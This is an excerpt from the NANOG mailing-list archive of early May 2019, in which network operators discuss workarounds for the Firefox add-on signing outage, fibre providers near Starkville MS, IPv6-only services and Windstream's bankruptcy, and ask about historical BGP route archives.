Medcalf) Date: Sat, 04 May 2019 16:10:18 -0600 Subject: Widespread Firefox issues In-Reply-To: Message-ID: <96c460895774df459e8cbe19cd0d3b68@mail.dessus.com> Aha! Did the same and it worked. I had disabled Normandy probably immediately when it was introduced. I guess if you have it disabled then studies (even if enabled) are disabled as well. After getting the studies I disabled studies again (since I don't want them) and disabled normandy (since I do not want external third parties frikking about with my settings just cuz they feel like it) -- if you want to fiddle with the settings on my equipment you have to physically be within the blast radius of the device you are fiddling with (or the automated Nitrogen oxygen purge system). We will see what happens mid-afternoon tomorrow when Firefox tries to run a signature check again (since the original problem report was in error -- the check is only run once every 86400 seconds, so at the next check after the intermediate certificate expires the add-ons will be disabled). --- The fact that there's a Highway to Hell but only a Stairway to Heaven says a lot about anticipated traffic volume. >-----Original Message----- >From: NANOG [mailto:nanog-bounces at nanog.org] On Behalf Of Royce >Williams >Sent: Saturday, 4 May, 2019 15:44 >To: nanog at nanog.org >Subject: Re: Widespread Firefox issues > > >On Sat, May 4, 2019 at 8:02 AM Royce Williams > wrote: > > > On Sat, May 4, 2019 at 7:40 AM Royce Williams > wrote: > > > On Sat, May 4, 2019 at 7:32 AM Keith Medcalf > wrote: > > > > I will stick to the "clearly false" since it is now >well to the point where we are in 2019-05-04 (even in local UT1, let >alone UTC), studies are disabled (and have been since forever), no >studies have been loaded, and my extensions still work quite fine, >thank-you. Attempting to install a "new" extension fails with a "bad >signature" error. > > > > Here's something interesting - a few times now, I've told >Firefox to enable Studies and then restarted ... but the Studies >setting reverted to being unchecked. > > Maybe one of my other paranoia-enabling extensions is >toggling it off ... but if so, I haven't found it yet. Still >investigating. > > > Even stranger, I can manually toggle >'app.shield.optoutstudies.enabled' in about:config ... and *that* >persists across reboots ... but Studies *still* aren't enabled (the >about:preferences item is still unchecked, and the "about:studies" >area still indicates that they're disabled). > > There's definitely something weird about enabling/disabling >studies. > > FWIW, this is 64-bit 66.0.3 on Ubuntu, and it's an instance of >Firefox that had studies disabled before this issue emerged. On a >very similar setup, but one with a vanilla Firefox install that >already had Studies enabled, I can't recreate this symptom - even if >I turn Studies off (either using the GUI or with the about:config >item). > > >Multiple people have replied offthread that they have the same >symptom. > >This workaround worked for me: > >https://www.reddit.com/r/firefox/comments/bkk5ss/if_you_dont_want_to_ >wait_do_this/ > > >Royce From jared at compuwizz.net Sun May 5 02:26:44 2019 From: jared at compuwizz.net (Jared Geiger) Date: Sat, 4 May 2019 19:26:44 -0700 Subject: Fibre provider in Starkville, MS In-Reply-To: <8D89F96B7AB1B84F9E049CC7BB91BF5C027FD7BF5A@RTC-EXCH01.RESERVE.LDS> References: <6069C591-B429-4070-A84F-528782BBB631@theo-voss.de> <8D89F96B7AB1B84F9E049CC7BB91BF5C027FD7BF5A@RTC-EXCH01.RESERVE.LDS> Message-ID: Indatel might be able to coordinate it also. https://indatel.com/ On Thu, May 2, 2019 at 11:54 AM Luke Guillory wrote: > C Spire is near that area, they may have fiber there. > > > > Luke > > > > > > Ns > > > > > > > > > > *From:* NANOG [mailto:nanog-bounces at nanog.org] *On Behalf Of *Theo Voss > *Sent:* Thursday, May 02, 2019 11:40 AM > *To:* nanog at nanog.org > *Subject:* Fibre provider in Starkville, MS > > > > Hi all, > > > > we’re looking for a regional (and agile) ISP who can provide 1 Gbps > full-transparent layer2 connectivity from an office building in Starkville, > MS (address on request) to our PoP in Atlanta ( > https://www.peeringdb.com/fac/562) – does anyone has recommendations? :-) > > > > Thanks in advance! > > > > Best regards, > > Theo Voss > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From hank at efes.iucc.ac.il Sun May 5 06:05:39 2019 From: hank at efes.iucc.ac.il (Hank Nussbacher) Date: Sun, 5 May 2019 09:05:39 +0300 Subject: Widespread Firefox issues In-Reply-To: References: <472d801c-1777-7b21-6668-8c42f700d007@2mbit.com> <83d96764-a04d-003f-70cd-6c94f248d5d8@gmail.com> <025c86bf-1638-4fca-17c2-ecd562cf8a92@2mbit.com> <3e7f83e1-f842-4144-a839-87046f39d5b4@www.fastmail.com> <1556975476.27758.104.camel@biplane.com.au> <6788.1556992219@turing-police> Message-ID: <1ade5ccd-fb0b-be01-8e3f-34c10bbc85ee@efes.iucc.ac.il> On 05/05/2019 00:04, Lee wrote: > On 5/4/19, Mark Foster wrote: >> Official update from Mozilla: >> >> https://blog.mozilla.org/addons/2019/05/04/update-regarding-add-ons-in-firefox/ > where they say > Please note: The fix does not apply to Firefox ESR > which is what I'm running, so > about:config > change > xpinstall.signatures.required > to false, restart and all my extensions now show > xxx could not be verified for use in Firefox. Proceed with caution. > but at least they're all enabled again :) Am running FF 66.0.3 and did the above but still Avira Browser Safety and Cisco Webex still show up as disabled. What am I missing? Thanks, Hank > > Lee > From mdavids at forfun.net Sun May 5 16:50:25 2019 From: mdavids at forfun.net (Marco Davids) Date: Sun, 5 May 2019 18:50:25 +0200 Subject: any interesting/useful resources available to IPv6 only? In-Reply-To: References: Message-ID: Op 03-05-19 om 17:14 schreef Brian J. Murrell: > I wonder if anyone has any references to interesting/useful/otherwise > resources on are only available to IPv6 users that they can forward to > me. Most of my personals websites are IPv6-only, but they are neither interesting nor useful. Although, perhaps https://dnslabs.nl/ is of any use, because I made every attempt to make it entirely IPv6-only, including it's authoritative name servers. That sometimes leads to interesting results. And furthermore I'd like to recommend a site that is not mine, but that I appreciate a lot: https://42.be/ -- Marco From pshem.k at gmail.com Sun May 5 22:26:04 2019 From: pshem.k at gmail.com (Pshem Kowalczyk) Date: Mon, 6 May 2019 10:26:04 +1200 Subject: any interesting/useful resources available to IPv6 only? In-Reply-To: References: Message-ID: I've found a VPS provider (https://www.vultr.com/pricing/) that offers cheaper instances with IPv6 only. I suspect that there might be others, as ultimately those sort of services can't really escape the issue by using NAT. kind regards Pshem On Sat, 4 May 2019 at 03:15, Brian J. Murrell wrote: > Hi, > > I am trying to make a case (to old fuddy-duddies, which is why I even > need to actually make a case) for IPv6 for my own selfish reasons. :-) > > I wonder if anyone has any references to interesting/useful/otherwise > resources on are only available to IPv6 users that they can forward to > me. > > Cheers, > b. > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From dougb at dougbarton.us Mon May 6 02:31:37 2019 From: dougb at dougbarton.us (Doug Barton) Date: Sun, 5 May 2019 19:31:37 -0700 Subject: any interesting/useful resources available to IPv6 only? In-Reply-To: References: <829da6b2-a7a2-0cd9-4d5d-63bf7cdbc61c@dougbarton.us> Message-ID: On 5/3/19 1:33 PM, Mohammad Khalil wrote: > Hello all > I have prepared something in the past you might find useful (hopefully). First, it's considered rude to send attachments of any size to a mailing list, never mind one that's almost 2 megs in size. Much better to put it on a web site somewhere and send a URL. Second, I normally wouldn't respond to something like this, except that there are so many errors and bad ideas in your document that I felt compelled to respond lest someone find it in the archives and rely on it. I will assume that your intentions were good here, however your results are dangerous, in the sense that someone reading your document would be worse off than if they had not read it. Taking one tidbit from one of your early paragraphs, "The IPv6 protocol creates a 128-bit address, four times the size of the 32-bit IPv4 standard." There is, sort of, a sense in which you could say that the addresses themselves are four times the size, but it creates a dangerous impression that the total address space of IPv6 is only four times the size of IPv4; and it's the address space that is the thing actually worth talking about. Many of your other errors also involve math, which suggests a lack of understanding of basic networking concepts, binary math, etc. For example, "With 264 available addresses per segment, it is highly unlikely to see prefix lengths shorter than /64 for segments that host end systems." A /64 segment in IPv6 has 2^64 address, or the entire IPv4 address range, squared. Maybe you meant to say 2^64 and forgot the exponent indicator? Given that you correctly identify exponents in other sections, it's hard to tell. The document is also out of date in regards to the latest protocol changes, deprecations, etc.; and further out of date in regards to how operators are actually implementing IPv6. Again, sorry to pile on ... If anyone is looking for a pretty good introduction to the basics of IPv6 the Wikipedia article is a good start. hope this helps, Doug From lobna_gouda at hotmail.com Mon May 6 03:59:18 2019 From: lobna_gouda at hotmail.com (lobna gouda) Date: Mon, 6 May 2019 03:59:18 +0000 Subject: Access to raw network data Message-ID: Hello, Does anyone know if there is public sources for network data that can be use to train model? If not public, can someone provide access for research and all data confidentially rights will be preserved. Brgds, LG -------------- next part -------------- An HTML attachment was scrubbed... URL: From valdis.kletnieks at vt.edu Mon May 6 04:18:32 2019 From: valdis.kletnieks at vt.edu (Valdis Kl=?utf-8?Q?=c4=93?=tnieks) Date: Mon, 06 May 2019 00:18:32 -0400 Subject: Access to raw network data In-Reply-To: References: Message-ID: <5821.1557116312@turing-police> On Mon, 06 May 2019 03:59:18 -0000, lobna gouda said: > Does anyone know if there is public sources for network data that can be use > to train model? What data, and what model? What problem are you trying to solve by training a model? Hint: A model trained on data from Comcast's network is probably going to explode when you try to apply it to Google's internal network, because network design and conditions will be vastly different. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 832 bytes Desc: not available URL: From brian at interlinx.bc.ca Mon May 6 11:32:37 2019 From: brian at interlinx.bc.ca (Brian J. Murrell) Date: Mon, 06 May 2019 07:32:37 -0400 Subject: any interesting/useful resources available to IPv6 only? In-Reply-To: References: Message-ID: <22a431c96e5bbf98d7c9afc9c68bfea43b6238c6.camel@interlinx.bc.ca> On Mon, 2019-05-06 at 10:26 +1200, Pshem Kowalczyk wrote: > I've found a VPS provider (https://www.vultr.com/pricing/) that > offers > cheaper instances with IPv6 only. That's an interesting one. Neat to see. But it would probably be a stretch to try to use that as example of why my ISP needs to provide IPv6 connectivity since even if I bought one of those IPv6-only VPS, I could probably still administer it over IPv4. That and that such a VPS is only reachable from IPv6 addresses, if I were to have one, makes more of a case why other ISPs should support IPv6 rather than my own ISP. But it might be a useful case to point to in the more general sense of "there is a portion of the Internet that is only reachable from IPv6 addresses". Cheers, b. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 488 bytes Desc: This is a digitally signed message part URL: From lists-nanog at schultz.top Sat May 4 17:52:39 2019 From: lists-nanog at schultz.top (Patrick Schultz) Date: Sat, 4 May 2019 19:52:39 +0200 Subject: Widespread Firefox issues In-Reply-To: References: <472d801c-1777-7b21-6668-8c42f700d007@2mbit.com> <83d96764-a04d-003f-70cd-6c94f248d5d8@gmail.com> <025c86bf-1638-4fca-17c2-ecd562cf8a92@2mbit.com> <3e7f83e1-f842-4144-a839-87046f39d5b4@www.fastmail.com> <1556975476.27758.104.camel@biplane.com.au> Message-ID: <99efea4a-bf28-6732-e93e-66e96ce02f5e@schultz.top> or use the hotfix without restarting: https://storage.googleapis.com/moz-fx-normandy-prod-addons/extensions/hotfix-update-xpi-intermediate%40mozilla.com-1.0.2-signed.xpi Am 04.05.2019 um 19:46 schrieb Randy Bush: >>> to do it, i have to start ffox.  and 100 tabs will open and >>> javascript will flood in. > recipe > - turn off internet connectivity > - start firefox > - `kill -s sigkill` it > - restart it, do not restore sesstion > - turn internet back on > - go to prefs / privacy and enable studio > - wait until `about:studies` shows you got the two updates > - allow sessions to restart > > randy From mail at theo-voss.de Sun May 5 22:18:00 2019 From: mail at theo-voss.de (Theo Voss) Date: Sun, 5 May 2019 22:18:00 +0000 Subject: Fibre provider in Starkville, MS In-Reply-To: References: <6069C591-B429-4070-A84F-528782BBB631@theo-voss.de> <8D89F96B7AB1B84F9E049CC7BB91BF5C027FD7BF5A@RTC-EXCH01.RESERVE.LDS> Message-ID: <015C9EF6-EE04-43AC-9C77-6D1DAA08ED83@theo-voss.de> Hi all, thanks for all the PMs, got a direct contact to a company available in the building! Best regards, Theo Voss Von: NANOG im Auftrag von Jared Geiger Datum: Sonntag, 5. Mai 2019 um 04:29 An: "nanog at nanog.org" Betreff: Re: Fibre provider in Starkville, MS Indatel might be able to coordinate it also. https://indatel.com/ On Thu, May 2, 2019 at 11:54 AM Luke Guillory > wrote: C Spire is near that area, they may have fiber there. Luke Ns From: NANOG [mailto:nanog-bounces at nanog.org] On Behalf Of Theo Voss Sent: Thursday, May 02, 2019 11:40 AM To: nanog at nanog.org Subject: Fibre provider in Starkville, MS Hi all, we’re looking for a regional (and agile) ISP who can provide 1 Gbps full-transparent layer2 connectivity from an office building in Starkville, MS (address on request) to our PoP in Atlanta (https://www.peeringdb.com/fac/562) – does anyone has recommendations? :-) Thanks in advance! Best regards, Theo Voss -------------- next part -------------- An HTML attachment was scrubbed... URL: From mehmet at akcin.net Mon May 6 13:00:34 2019 From: mehmet at akcin.net (Mehmet Akcin) Date: Mon, 6 May 2019 06:00:34 -0700 Subject: Fibre provider in Starkville, MS In-Reply-To: <6069C591-B429-4070-A84F-528782BBB631@theo-voss.de> References: <6069C591-B429-4070-A84F-528782BBB631@theo-voss.de> Message-ID: hi Theo, Looks like Earthlink (now Windstream) has fiber there. You can visit www.infrapedia.com to look at what is available. Here is a screenshot for Starkville, MS high level - https://imgur.com/I7S3RWY Good luck On Thu, May 2, 2019 at 11:11 AM Theo Voss wrote: > Hi all, > > > > we’re looking for a regional (and agile) ISP who can provide 1 Gbps > full-transparent layer2 connectivity from an office building in Starkville, > MS (address on request) to our PoP in Atlanta ( > https://www.peeringdb.com/fac/562) – does anyone has recommendations? :-) > > > > Thanks in advance! > > > > Best regards, > > Theo Voss > -------------- next part -------------- An HTML attachment was scrubbed... URL: From Quincy.Marshall at reged.com Mon May 6 13:46:19 2019 From: Quincy.Marshall at reged.com (Marshall, Quincy) Date: Mon, 6 May 2019 13:46:19 +0000 Subject: Fibre provider in Starkville, MS Message-ID: <3438B611A2B2C04495EF0E1B25729C46332DC120@mbx032-e1-va-8.exch032.serverpod.net> -------- Original message -------- From: Mehmet Akcin Date: 5/6/19 09:02 (GMT-05:00) To: Theo Voss Cc: nanog at nanog.org Subject: Re: Fibre provider in Starkville, MS "hi Theo, Looks like Earthlink (now Windstream) has fiber there. You can visit www.infrapedia.com to look at what is available. " Hasn't windstream filed for Chapter 11/13 protection? Not certain that's the best choice. LQ Marshall --------------------------------------------------------------------------------------- This email has been scanned for email related threats and delivered safely by Mimecast. For more information please visit http://www.mimecast.com --------------------------------------------------------------------------------------- -------------- next part -------------- An HTML attachment was scrubbed... URL: From robert at mckay.com Mon May 6 13:43:12 2019 From: robert at mckay.com (Robert McKay) Date: Mon, 06 May 2019 14:43:12 +0100 Subject: any interesting/useful resources available to IPv6 only? In-Reply-To: References: Message-ID: Another provider offering discounted IPv6 only VPSes is gandi.net https://www.gandi.net/en/cloud -- the two cheapest options "XS-V6" and "Small - IPv6" are IPv6 only. also https://www.mythic-beasts.com/order/rpi is IPv6 only. Rob On 2019-05-05 23:26, Pshem Kowalczyk wrote: > I've found a VPS provider (https://www.vultr.com/pricing/) that offers > cheaper instances with IPv6 only. I suspect that there might be > others, as ultimately those sort of services can't really escape the > issue by using NAT. > > kind regards > Pshem > > On Sat, 4 May 2019 at 03:15, Brian J. Murrell > wrote: > >> Hi, >> >> I am trying to make a case (to old fuddy-duddies, which is why I >> even >> need to actually make a case) for IPv6 for my own selfish reasons. >> :-) >> >> I wonder if anyone has any references to >> interesting/useful/otherwise >> resources on are only available to IPv6 users that they can forward >> to >> me. >> >> Cheers, >> b. From mehmet at akcin.net Mon May 6 13:51:42 2019 From: mehmet at akcin.net (Mehmet Akcin) Date: Mon, 6 May 2019 06:51:42 -0700 Subject: Fibre provider in Starkville, MS In-Reply-To: <3438B611A2B2C04495EF0E1B25729C46332DC120@mbx032-e1-va-8.exch032.serverpod.net> References: <3438B611A2B2C04495EF0E1B25729C46332DC120@mbx032-e1-va-8.exch032.serverpod.net> Message-ID: Marshall, the whole Windstream Chapter 11 may sound concerning but my understanding (not a legal expert here) Chapter 11 gives greater protection to customers and given critical services Windstream offers nationwide, I would have absolutely zero concern about this. Mehmet On Mon, May 6, 2019 at 06:46 Marshall, Quincy wrote: > -------- Original message -------- > From: Mehmet Akcin > Date: 5/6/19 09:02 (GMT-05:00) > To: Theo Voss > Cc: nanog at nanog.org > Subject: Re: Fibre provider in Starkville, MS > > "hi Theo, > > Looks like Earthlink (now Windstream) has fiber there. You can visit > www.infrapedia.com to look at what is available. > > *"* > > > Hasn't windstream filed for Chapter 11/13 protection? Not certain that's > the best choice. > > *LQ Marshall* > > > > > ------------------------------ > This email has been scanned for email related threats and delivered safely > by Mimecast. > For more information please visit http://www.mimecast.com > ------------------------------ > -- Mehmet +1-424-298-1903 -------------- next part -------------- An HTML attachment was scrubbed... URL: From john at essenz.com Mon May 6 13:56:07 2019 From: john at essenz.com (John Von Essen) Date: Mon, 6 May 2019 09:56:07 -0400 Subject: Fibre provider in Starkville, MS In-Reply-To: <3438B611A2B2C04495EF0E1B25729C46332DC120@mbx032-e1-va-8.exch032.serverpod.net> References: <3438B611A2B2C04495EF0E1B25729C46332DC120@mbx032-e1-va-8.exch032.serverpod.net> Message-ID: <25827830-68F9-443F-9F8E-F2B585029986@essenz.com> I just took a wholesale circuit from Windstream, it was fine - the provisioning/delivery portion was within the Chapter 11 timeline. The Chapter 11 thing, if you read about it, isn’t really because they are going bankrupt, it's more to protect them from a pending lawsuit from a hedge fund (Aurelius Capital) “if” the hedge fund wins in court. The hedge fun did initially win, but Windstream is appealing, if they lose the appeal, the Chapter 11 protection will prevent the hedge fund from gutting Windstream dry, which they would happily do! It all has to do with the fact that the hedge fund was unhappy that Windstream spin-off assets into Uniti Fiber, i.e. rich people upset about not making “enough” money from a deal. -John > On May 6, 2019, at 9:46 AM, Marshall, Quincy wrote: > > -------- Original message -------- > From: Mehmet Akcin > Date: 5/6/19 09:02 (GMT-05:00) > To: Theo Voss > Cc: nanog at nanog.org > Subject: Re: Fibre provider in Starkville, MS > > "hi Theo, > > Looks like Earthlink (now Windstream) has fiber there. You can visit www.infrapedia.com to look at what is available. > > " > > > Hasn't windstream filed for Chapter 11/13 protection? Not certain that's the best choice. > > LQ Marshall > > > > > > This email has been scanned for email related threats and delivered safely by Mimecast. > For more information please visit http://www.mimecast.com -------------- next part -------------- An HTML attachment was scrubbed... URL: From beecher at beecher.cc Mon May 6 14:24:11 2019 From: beecher at beecher.cc (Tom Beecher) Date: Mon, 6 May 2019 10:24:11 -0400 Subject: Fibre provider in Starkville, MS In-Reply-To: <25827830-68F9-443F-9F8E-F2B585029986@essenz.com> References: <3438B611A2B2C04495EF0E1B25729C46332DC120@mbx032-e1-va-8.exch032.serverpod.net> <25827830-68F9-443F-9F8E-F2B585029986@essenz.com> Message-ID: Yeah, I wouldn't worry about the services themselves. This is all legal maneuvering due to the financial engineering that was being done. They won't be going dark or anything. Absolutely worst case they may have to sell some markets off to another carrier, but IF that gets there it's many years away anyways. On Mon, May 6, 2019 at 9:58 AM John Von Essen wrote: > I just took a wholesale circuit from Windstream, it was fine - the > provisioning/delivery portion was within the Chapter 11 timeline. The > Chapter 11 thing, if you read about it, isn’t really because they are going > bankrupt, it's more to protect them from a pending lawsuit from a hedge > fund (Aurelius Capital) “if” the hedge fund wins in court. The hedge fun > did initially win, but Windstream is appealing, if they lose the appeal, > the Chapter 11 protection will prevent the hedge fund from gutting > Windstream dry, which they would happily do! > > It all has to do with the fact that the hedge fund was unhappy that > Windstream spin-off assets into Uniti Fiber, i.e. rich people upset about > not making “enough” money from a deal. > > -John > > On May 6, 2019, at 9:46 AM, Marshall, Quincy > wrote: > > -------- Original message -------- > From: Mehmet Akcin > Date: 5/6/19 09:02 (GMT-05:00) > To: Theo Voss > Cc: nanog at nanog.org > Subject: Re: Fibre provider in Starkville, MS > > "hi Theo, > > Looks like Earthlink (now Windstream) has fiber there. You can visit > www.infrapedia.com to look at what is available. > > *"* > > > Hasn't windstream filed for Chapter 11/13 protection? Not certain that's > the best choice. > > *LQ Marshall* > > > > > ------------------------------ > This email has been scanned for email related threats and delivered safely > by Mimecast. > For more information please visit http://www.mimecast.com > ------------------------------ > > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From cma at cmadams.net Mon May 6 14:27:53 2019 From: cma at cmadams.net (Chris Adams) Date: Mon, 6 May 2019 09:27:53 -0500 Subject: Fibre provider in Starkville, MS In-Reply-To: References: <3438B611A2B2C04495EF0E1B25729C46332DC120@mbx032-e1-va-8.exch032.serverpod.net> <25827830-68F9-443F-9F8E-F2B585029986@essenz.com> Message-ID: <20190506142753.GA4299@cmadams.net> Once upon a time, Tom Beecher said: > They won't be going dark or anything. Absolutely worst case they may have > to sell some markets off to another carrier, but IF that gets there it's > many years away anyways. Well, the worst practical case is that they lay off (or otherwise lose) competent service employees, leaving you stuck when there's an outage. We have "legacy" circuits with Windstream (originally ordered from Deltacom, who was bought by Earthlink, who was bought by Windstream), and the support on those is pretty poor. -- Chris Adams From beecher at beecher.cc Mon May 6 14:41:45 2019 From: beecher at beecher.cc (Tom Beecher) Date: Mon, 6 May 2019 10:41:45 -0400 Subject: Fibre provider in Starkville, MS In-Reply-To: <20190506142753.GA4299@cmadams.net> References: <3438B611A2B2C04495EF0E1B25729C46332DC120@mbx032-e1-va-8.exch032.serverpod.net> <25827830-68F9-443F-9F8E-F2B585029986@essenz.com> <20190506142753.GA4299@cmadams.net> Message-ID: Completely correct of course. I guess in my mind that's just completely normal in this industry; Carrier A bought by Carrier B, eventually all services supported by Carrier B, and employees from both worlds have to work on systems and equipment they are unfamiliar with. ( Tough to integrate properly when some hedgy is riding you over that extra 0.45%! ) Support on 'legacy' always tends to suffer. On Mon, May 6, 2019 at 10:29 AM Chris Adams wrote: > Once upon a time, Tom Beecher said: > > They won't be going dark or anything. Absolutely worst case they may have > > to sell some markets off to another carrier, but IF that gets there it's > > many years away anyways. > > Well, the worst practical case is that they lay off (or otherwise lose) > competent service employees, leaving you stuck when there's an outage. > We have "legacy" circuits with Windstream (originally ordered from > Deltacom, who was bought by Earthlink, who was bought by Windstream), > and the support on those is pretty poor. > > -- > Chris Adams > -------------- next part -------------- An HTML attachment was scrubbed... URL: From johnl at iecc.com Mon May 6 16:12:55 2019 From: johnl at iecc.com (John Levine) Date: 6 May 2019 12:12:55 -0400 Subject: any interesting/useful resources available to IPv6 only? In-Reply-To: Message-ID: <20190506161256.00264201360E69@ary.qy> In article you write: >Another provider offering discounted IPv6 only VPSes is gandi.net > >https://www.gandi.net/en/cloud -- the two cheapest options "XS-V6" and >"Small - IPv6" are IPv6 only. That's not very persuasive since even their v6 only prices are pretty high. Gandi charges $13.10 for 1GB RAM and 20GB disk. Amazon will give you 1GB RAM and 40GB of disk and a v4 address for $5/mo. I like Gandi just fine but those v6 VPS only make sense as a back end to something else. It will be a very long time until there are public services that anyone cares about on v6 only. There are perfectly good reasons to use v6: no NAT in front of your devices, every service gets its own IP, better connections to devices on mobile networks and home networks that are behind v4 NATs. R's, John From brian at interlinx.bc.ca Mon May 6 16:45:31 2019 From: brian at interlinx.bc.ca (Brian J. Murrell) Date: Mon, 06 May 2019 12:45:31 -0400 Subject: any interesting/useful resources available to IPv6 only? In-Reply-To: <20190506161256.00264201360E69@ary.qy> References: <20190506161256.00264201360E69@ary.qy> Message-ID: <3ccd8c9a687b1a780c7f2e0f9e89b6d55ccdb2a7.camel@interlinx.bc.ca> On Mon, 2019-05-06 at 12:12 -0400, John Levine wrote: > > There are perfectly good reasons to use v6: no NAT in front of your > devices, Check. > every service gets its own IP, Roger. > better connections to devices > on mobile networks and home networks that are behind v4 NATs. Bingo! All very good reasons, and in fact every one of them are my primary reasons. But the came I am making is to PHBs, not engineers and I am trying to find a path of least resistance. b. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 488 bytes Desc: This is a digitally signed message part URL: From Quincy.Marshall at reged.com Mon May 6 16:48:39 2019 From: Quincy.Marshall at reged.com (Marshall, Quincy) Date: Mon, 6 May 2019 16:48:39 +0000 Subject: Fibre provider in Starkville, MS In-Reply-To: References: <3438B611A2B2C04495EF0E1B25729C46332DC120@mbx032-e1-va-8.exch032.serverpod.net> <25827830-68F9-443F-9F8E-F2B585029986@essenz.com> <20190506142753.GA4299@cmadams.net> Message-ID: <3438B611A2B2C04495EF0E1B25729C46332DC617@mbx032-e1-va-8.exch032.serverpod.net> Sent: Monday, May 06, 2019 10:42 AM Subject: Re: Fibre provider in Starkville, MS “ Well, the worst practical case is that they lay off (or otherwise lose) competent service employees, leaving you stuck when there's an outage. We have "legacy" circuits with Windstream (originally ordered from Deltacom, who was bought by Earthlink, who was bought by Windstream), and the support on those is pretty poor. ” My comment was from current experience … have a legacy PRI that was disco’d ~18 months ago. Initially told they cannot access the disco order that old. This morning that order is referencing something else(!?). Our monthly bill was not insignificant, but in a month it will be zero. I’m transferring remaining services to reliable carriers. I don’t have this kind of time to waste in my day if I had any other choice I’d exercise it. LQ Marshall --------------------------------------------------------------------------------------- This email has been scanned for email related threats and delivered safely by Mimecast. For more information please visit http://www.mimecast.com --------------------------------------------------------------------------------------- -------------- next part -------------- An HTML attachment was scrubbed... URL: From nuno at hashpower.pt Mon May 6 13:58:12 2019 From: nuno at hashpower.pt (Nuno Vieira) Date: Mon, 6 May 2019 14:58:12 +0100 (WEST) Subject: any interesting/useful resources available to IPv6 only? In-Reply-To: References: Message-ID: <284075244.50576.1557151092683.JavaMail.zimbra@hashpower.pt> VULTR VM IPv6 only is available aswell at $2.5 per month. https://www.vultr.com/?ref=7577922 ----- Original Message ----- From: "Robert McKay" To: "Pshem Kowalczyk" Cc: "North American Network Operators' Group" Sent: Monday, 6 May, 2019 14:43:12 Subject: Re: any interesting/useful resources available to IPv6 only? Another provider offering discounted IPv6 only VPSes is gandi.net https://www.gandi.net/en/cloud -- the two cheapest options "XS-V6" and "Small - IPv6" are IPv6 only. also https://www.mythic-beasts.com/order/rpi is IPv6 only. Rob On 2019-05-05 23:26, Pshem Kowalczyk wrote: > I've found a VPS provider (https://www.vultr.com/pricing/) that offers > cheaper instances with IPv6 only. I suspect that there might be > others, as ultimately those sort of services can't really escape the > issue by using NAT. > > kind regards > Pshem > > On Sat, 4 May 2019 at 03:15, Brian J. Murrell > wrote: > >> Hi, >> >> I am trying to make a case (to old fuddy-duddies, which is why I >> even >> need to actually make a case) for IPv6 for my own selfish reasons. >> :-) >> >> I wonder if anyone has any references to >> interesting/useful/otherwise >> resources on are only available to IPv6 users that they can forward >> to >> me. >> >> Cheers, >> b. From beecher at beecher.cc Mon May 6 18:51:50 2019 From: beecher at beecher.cc (Tom Beecher) Date: Mon, 6 May 2019 14:51:50 -0400 Subject: any interesting/useful resources available to IPv6 only? In-Reply-To: <3ccd8c9a687b1a780c7f2e0f9e89b6d55ccdb2a7.camel@interlinx.bc.ca> References: <20190506161256.00264201360E69@ary.qy> <3ccd8c9a687b1a780c7f2e0f9e89b6d55ccdb2a7.camel@interlinx.bc.ca> Message-ID: PHB? Then make it a cost argument. "If you plan an implement V6 today, will will cost N. If you delay until you discover V6 only services, it will cost 3-5xN to implement quickly, with additional risk of additional costs because quicker implementations are likely to miss something along the way." On Mon, May 6, 2019 at 12:47 PM Brian J. Murrell wrote: > On Mon, 2019-05-06 at 12:12 -0400, John Levine wrote: > > > > There are perfectly good reasons to use v6: no NAT in front of your > > devices, > > Check. > > > every service gets its own IP, > > Roger. > > > better connections to devices > > on mobile networks and home networks that are behind v4 NATs. > > Bingo! > > All very good reasons, and in fact every one of them are my primary > reasons. > > But the came I am making is to PHBs, not engineers and I am trying to > find a path of least resistance. > > b. > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From valdis.kletnieks at vt.edu Mon May 6 19:06:24 2019 From: valdis.kletnieks at vt.edu (Valdis Kl=?utf-8?Q?=c4=93?=tnieks) Date: Mon, 06 May 2019 15:06:24 -0400 Subject: any interesting/useful resources available to IPv6 only? In-Reply-To: References: <20190506161256.00264201360E69@ary.qy> <3ccd8c9a687b1a780c7f2e0f9e89b6d55ccdb2a7.camel@interlinx.bc.ca> Message-ID: <20379.1557169584@turing-police> On Mon, 06 May 2019 14:51:50 -0400, Tom Beecher said: > PHB? Then make it a cost argument. > > "If you plan an implement V6 today, will will cost N. If you delay until > you discover V6 only services, it will cost 3-5xN to implement quickly, > with additional risk of additional costs because quicker implementations > are likely to miss something along the way." Amazingly enough, I first heard that exact reasoning all the way back in 1998. And we had some IPv6 in production by 1999. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 832 bytes Desc: not available URL: From josmon at rigozsaurus.com Mon May 6 19:47:24 2019 From: josmon at rigozsaurus.com (John Osmon) Date: Mon, 6 May 2019 13:47:24 -0600 Subject: historical BGP announcements? (pre-1997) Message-ID: <20190506194724.GA5260@jeeves.rigozsaurus.com> I've got a need to look for some announcements from the mid 1990s. The oldest I've found at at the University of Oregon Route Views Project, but the earliest I can find there appears to be November of 1997. Anyone have pointers to date from earlier? From woody at pch.net Mon May 6 19:51:07 2019 From: woody at pch.net (Bill Woodcock) Date: Mon, 6 May 2019 12:51:07 -0700 Subject: historical BGP announcements? (pre-1997) In-Reply-To: <20190506194724.GA5260@jeeves.rigozsaurus.com> References: <20190506194724.GA5260@jeeves.rigozsaurus.com> Message-ID: <61567504-85C3-4C47-95DC-24A45EAEA624@pch.net> > On May 6, 2019, at 12:47 PM, John Osmon wrote: > > I've got a need to look for some announcements from the mid 1990s. > The oldest I've found at at the University of Oregon Route Views > Project, but the earliest I can find there appears to be November of > 1997. That’s when PCH began archiving them (and subsequently turned that archive over to U of O). We weren’t aware of anyone publicly archiving transit routes prior to that. -Bill -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 833 bytes Desc: Message signed with OpenPGP URL: From ross at tajvar.io Mon May 6 19:54:49 2019 From: ross at tajvar.io (Ross Tajvar) Date: Mon, 6 May 2019 15:54:49 -0400 Subject: historical BGP announcements? (pre-1997) In-Reply-To: <61567504-85C3-4C47-95DC-24A45EAEA624@pch.net> References: <20190506194724.GA5260@jeeves.rigozsaurus.com> <61567504-85C3-4C47-95DC-24A45EAEA624@pch.net> Message-ID: Hey John, Just out of curiosity, what do you need this data for? 